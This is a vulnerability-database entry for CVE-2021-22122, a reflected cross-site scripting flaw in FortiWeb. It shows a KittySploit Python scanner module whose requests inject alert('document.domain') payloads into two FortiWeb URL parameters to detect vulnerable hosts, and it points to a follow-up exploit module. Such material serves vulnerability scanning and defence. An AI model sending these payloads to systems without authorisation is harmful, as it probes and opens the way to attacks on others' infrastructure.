Lucene search
+L

FortiWeb - Cross Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 12 Views

Unauthenticated XSS in FortiWeb via improper neutralization of input in API endpoints.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-22122
8 Feb 202116:15
–attackerkb
bdu_fstec
BDU FSTEC
FortiWeb Graphical Interface XSS
2 Nov 202200:00
–bdu_fstec
circl
Circl
CVE-2021-22122
8 Feb 202118:39
–circl
cnnvd
CNNVD
Fortinet FortiWeb cross-site scripting vulnerability
5 Feb 202100:00
–cnnvd
cnvd
CNVD
Fortinet FortiWeb Cross-Site Scripting Vulnerability (CNVD-2021-12664)
8 Feb 202100:00
–cnvd
cve
CVE
CVE-2021-22122
8 Feb 202115:55
–cve
cvelist
Cvelist
CVE-2021-22122
8 Feb 202115:55
–cvelist
fortinet
Fortinet
[FortiWeb] Multiple XSS vulnerabilities
3 Feb 202100:00
–fortinet
nessus
Tenable Nessus
Fortinet FortiWeb xss (FG-IR-20-122)
27 Oct 202400:00
–nessus
kittysploit
KittySploit
FortiWeb Reflected XSS (CVE-2021-22122)
5 Oct 202614:20
–kittysploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiWeb 6."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'FortiWeb - Cross Site Scripting Detection',
        'description': 'FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'fortiweb', 'xss', 'fortinet', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/fortinet_fortiweb_cve_2021_22122_xss'],
            },
        },
        'references': [
            'https://www.fortiguard.com/psirt/FG-IR-20-122',
            'https://twitter.com/ptswarm/status/1357316793753362433',
            'https://fortiguard.com/advisory/FG-IR-20-122',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-22122',
            'https://github.com/Elsfa7-110/kenzer-templates',
        ],
        'cve': 'CVE-2021-22122',
    }

    def run(self):
        for path in ("/error3?msg=30&data=';alert('document.domain');//", '/omni_success?cmdb_edit_path=");alert(\'document.domain\');//'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            body_all = ("alert('document.domain')", 'No policy has been chosen.',)
            if (all(m in body for m in body_all)):
                self.set_info(
                    severity='medium',
                    reason="FortiWeb - Cross Site Scripting detected",
                    path=path,
                )
                return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.1052
SSVC
12